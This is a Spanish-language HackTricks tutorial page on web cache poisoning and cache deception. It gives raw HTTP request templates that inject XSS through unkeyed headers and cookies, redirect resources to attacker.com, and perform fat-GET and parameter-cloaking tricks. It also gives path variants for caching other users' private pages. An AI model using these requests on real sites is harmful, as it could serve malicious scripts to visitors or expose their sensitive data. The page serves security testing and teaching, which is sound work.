Envenenamiento de Caché y Engaño de Caché
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
La diferencia
¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?
- En el envenenamiento de caché web, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
- En el engaño de caché web, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
Envenenamiento de Caché
El envenenamiento de caché tiene como objetivo manipular la caché del lado del cliente para obligar a los clientes a cargar recursos que son inesperados, parciales o controlados por un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visitan la página durante el período de contaminación de la caché.
La ejecución de un ataque de envenenamiento de caché implica varios pasos:
- Identificación de Entradas Sin Clave: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
- Explotación de las Entradas Sin Clave: Después de identificar las entradas sin clave, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
- Asegurar que la Respuesta Envenenada esté Almacenada en Caché: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché está envenenada recibirá la respuesta contaminada.
Descubrimiento: Verificar encabezados HTTP
Por lo general, cuando una respuesta fue almacenada en la caché, habrá un encabezado que lo indique, puedes verificar qué encabezados debes tener en cuenta en esta publicación: Encabezados de Caché HTTP.
Descubrimiento: Códigos de error de caché
Si estás pensando que la respuesta se está almacenando en una caché, podrías intentar enviar solicitudes con un encabezado incorrecto, que debería responder con un código de estado 400. Luego intenta acceder a la solicitud normalmente y si la respuesta es un código de estado 400, sabes que es vulnerable (y podrías incluso realizar un DoS).
Puedes encontrar más opciones en:
Sin embargo, ten en cuenta que a veces estos tipos de códigos de estado no se almacenan en caché, por lo que esta prueba podría no ser confiable.
Descubrimiento: Identificar y evaluar entradas sin clave
Podrías usar Param Miner para fuerza bruta de parámetros y encabezados que pueden estar cambiando la respuesta de la página. Por ejemplo, una página puede estar utilizando el encabezado X-Forwarded-For
para indicar al cliente que cargue el script desde allí:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Elicitar una respuesta dañina del servidor back-end
Con el parámetro/cabecera identificada, verifica cómo está siendo sanitizada y dónde se está reflejando o afectando la respuesta de la cabecera. ¿Puedes abusar de ello de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)
Obtener la respuesta en caché
Una vez que hayas identificado la página que puede ser abusada, qué parámetro/cabecera usar y cómo abusar de ello, necesitas obtener la página en caché. Dependiendo del recurso que estés tratando de obtener en la caché, esto podría tomar algún tiempo, podrías necesitar intentarlo durante varios segundos.
La cabecera X-Cache
en la respuesta podría ser muy útil ya que puede tener el valor miss
cuando la solicitud no fue almacenada en caché y el valor hit
cuando está en caché.
La cabecera Cache-Control
también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché nuevamente: Cache-Control: public, max-age=1800
Otra cabecera interesante es Vary
. Esta cabecera se utiliza a menudo para indicar cabeceras adicionales que se tratan como parte de la clave de caché incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el User-Agent
de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese User-Agent
específico.
Una cabecera más relacionada con la caché es Age
. Define el tiempo en segundos que el objeto ha estado en la caché del proxy.
Al almacenar en caché una solicitud, ten cuidado con las cabeceras que usas porque algunas de ellas podrían ser utilizadas inesperadamente como indexadas y la víctima necesitará usar esa misma cabecera. Siempre prueba un Cache Poisoning con diferentes navegadores para verificar si está funcionando.
Ejemplos de Explotación
Ejemplo más fácil
Una cabecera como X-Forwarded-For
se está reflejando en la respuesta sin sanitizar.
Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean XSSed:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Note que esto envenenará una solicitud a /en?region=uk
no a /en
Envenenamiento de caché para DoS
Usando el envenenamiento de caché web para explotar vulnerabilidades en el manejo de cookies
Las cookies también podrían reflejarse en la respuesta de una página. Si puedes abusar de esto para causar un XSS, por ejemplo, podrías ser capaz de explotar XSS en varios clientes que cargan la respuesta de caché maliciosa.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Tenga en cuenta que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares estarán limpiando la caché.
Generando discrepancias con delimitadores, normalización y puntos
Verifique:
Cache Poisoning via URL discrepancies
Envenenamiento de caché con recorrido de ruta para robar la clave de API
Este informe explica cómo fue posible robar una clave de API de OpenAI con una URL como https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
porque cualquier cosa que coincida con /share/*
será almacenada en caché sin que Cloudflare normalice la URL, lo cual se hizo cuando la solicitud llegó al servidor web.
Esto también se explica mejor en:
Cache Poisoning via URL discrepancies
Usando múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web
A veces necesitarás explotar varias entradas no claveadas para poder abusar de una caché. Por ejemplo, puedes encontrar un redireccionamiento abierto si configuras X-Forwarded-Host
a un dominio controlado por ti y X-Forwarded-Scheme
a http
. Si el servidor está reenviando todas las solicitudes HTTP a HTTPS y usando el encabezado X-Forwarded-Scheme
como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde se apunta la página por el redireccionamiento.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Explotando con un encabezado Vary
limitado
Si descubres que el X-Host
se está utilizando como nombre de dominio para cargar un recurso JS pero el encabezado Vary
en la respuesta indica User-Agent
. Entonces, necesitas encontrar una manera de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Hay un laboratorio de Portswigger sobre esto: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Ocultación de Parámetros
Por ejemplo, es posible separar parámetros en servidores ruby usando el carácter ;
en lugar de &
. Esto podría usarse para poner valores de parámetros no clave dentro de los parámetros clave y abusar de ellos.
Laboratorio de Portswigger: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Explotación de la Poisoning de Caché HTTP abusando del HTTP Request Smuggling
Aprende aquí cómo realizar ataques de Cache Poisoning abusando del HTTP Request Smuggling.
Pruebas automatizadas para Cache Poisoning
El Escáner de Vulnerabilidades de Caché Web se puede usar para probar automáticamente la poisoning de caché web. Soporta muchas técnicas diferentes y es altamente personalizable.
Uso de ejemplo: wcvs -u example.com
Ejemplos Vulnerables
Apache Traffic Server (CVE-2021-27577)
ATS reenvió el fragmento dentro de la URL sin eliminarlo y generó la clave de caché solo usando el host, la ruta y la consulta (ignorando el fragmento). Así que la solicitud /#/../?r=javascript:alert(1)
se envió al backend como /#/../?r=javascript:alert(1)
y la clave de caché no tenía la carga útil dentro de ella, solo host, ruta y consulta.
GitHub CP-DoS
Enviar un valor incorrecto en el encabezado content-type activó una respuesta 405 en caché. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.
GitLab + GCP CP-DoS
GitLab utiliza buckets de GCP para almacenar contenido estático. Los Buckets de GCP soportan el encabezado x-http-method-override
. Por lo tanto, era posible enviar el encabezado x-http-method-override: HEAD
y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método PURGE
.
Middleware Rack (Ruby on Rails)
En aplicaciones Ruby on Rails, a menudo se utiliza middleware Rack. El propósito del código Rack es tomar el valor del encabezado x-forwarded-scheme
y establecerlo como el esquema de la solicitud. Cuando se envía el encabezado x-forwarded-scheme: http
, ocurre una redirección 301 a la misma ubicación, lo que puede causar una Denegación de Servicio (DoS) a ese recurso. Además, la aplicación podría reconocer el encabezado X-forwarded-host
y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que representa un riesgo de seguridad.
403 y Buckets de Almacenamiento
Cloudflare anteriormente almacenaba en caché respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con encabezados de autorización incorrectos resultaría en una respuesta 403 que se almacenaba en caché. Aunque Cloudflare ha dejado de almacenar en caché respuestas 403, este comportamiento podría seguir presente en otros servicios proxy.
Inyección de Parámetros Clave
Las cachés a menudo incluyen parámetros GET específicos en la clave de caché. Por ejemplo, el Varnish de Fastly almacenaba en caché el parámetro size
en las solicitudes. Sin embargo, si se enviaba una versión codificada en URL del parámetro (por ejemplo, siz%65
) con un valor erróneo, la clave de caché se construiría usando el parámetro size
correcto. Sin embargo, el backend procesaría el valor en el parámetro codificado en URL. La codificación en URL del segundo parámetro size
llevó a su omisión por parte de la caché, pero su utilización por parte del backend. Asignar un valor de 0 a este parámetro resultó en un error 400 Bad Request que se podía almacenar en caché.
Reglas de User Agent
Algunos desarrolladores bloquean solicitudes con user-agents que coinciden con los de herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como la poisoning de caché y DoS.
Campos de Encabezado Ilegales
El RFC7230 especifica los caracteres aceptables en los nombres de encabezados. Los encabezados que contienen caracteres fuera del rango tchar especificado deberían idealmente activar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres inválidos y almacena en caché cualquier error 400, siempre que el encabezado cache-control
no esté presente. Se identificó un patrón explotable donde enviar un encabezado con un carácter ilegal, como \
, resultaría en un error 400 Bad Request que se podía almacenar en caché.
Encontrando nuevos encabezados
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Decepción de Caché
El objetivo de la Decepción de Caché es hacer que los clientes carguen recursos que van a ser guardados por la caché con su información sensible.
Primero que nada, ten en cuenta que extensiones como .css
, .js
, .png
, etc. suelen estar configuradas para ser guardadas en la caché. Por lo tanto, si accedes a www.example.com/profile.php/nonexistent.js
, la caché probablemente almacenará la respuesta porque ve la extensión .js
. Pero, si la aplicación está reproduciendo con los contenidos sensibles del usuario almacenados en www.example.com/profile.php, puedes robar esos contenidos de otros usuarios.
Otras cosas para probar:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Usa extensiones menos conocidas como
.avif
Otro ejemplo muy claro se puede encontrar en este informe: https://hackerone.com/reports/593712.
En el ejemplo, se explica que si cargas una página inexistente como http://www.example.com/home.php/non-existent.css, el contenido de http://www.example.com/home.php (con la información sensible del usuario) se devolverá y el servidor de caché guardará el resultado.
Luego, el atacante puede acceder a http://www.example.com/home.php/non-existent.css en su propio navegador y observar la información confidencial de los usuarios que accedieron antes.
Ten en cuenta que el proxy de caché debe estar configurado para almacenar en caché archivos basados en la extensión del archivo (.css) y no basarse en el tipo de contenido. En el ejemplo http://www.example.com/home.php/non-existent.css tendrá un tipo de contenido text/html
en lugar de un tipo MIME text/css
(que es el esperado para un archivo .css).
Aprende aquí cómo realizar ataques de Decepción de Caché abusando del HTTP Request Smuggling.
Herramientas Automáticas
- toxicache: Escáner de Golang para encontrar vulnerabilidades de poisoning de caché web en una lista de URLs y probar múltiples técnicas de inyección.
Referencias
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.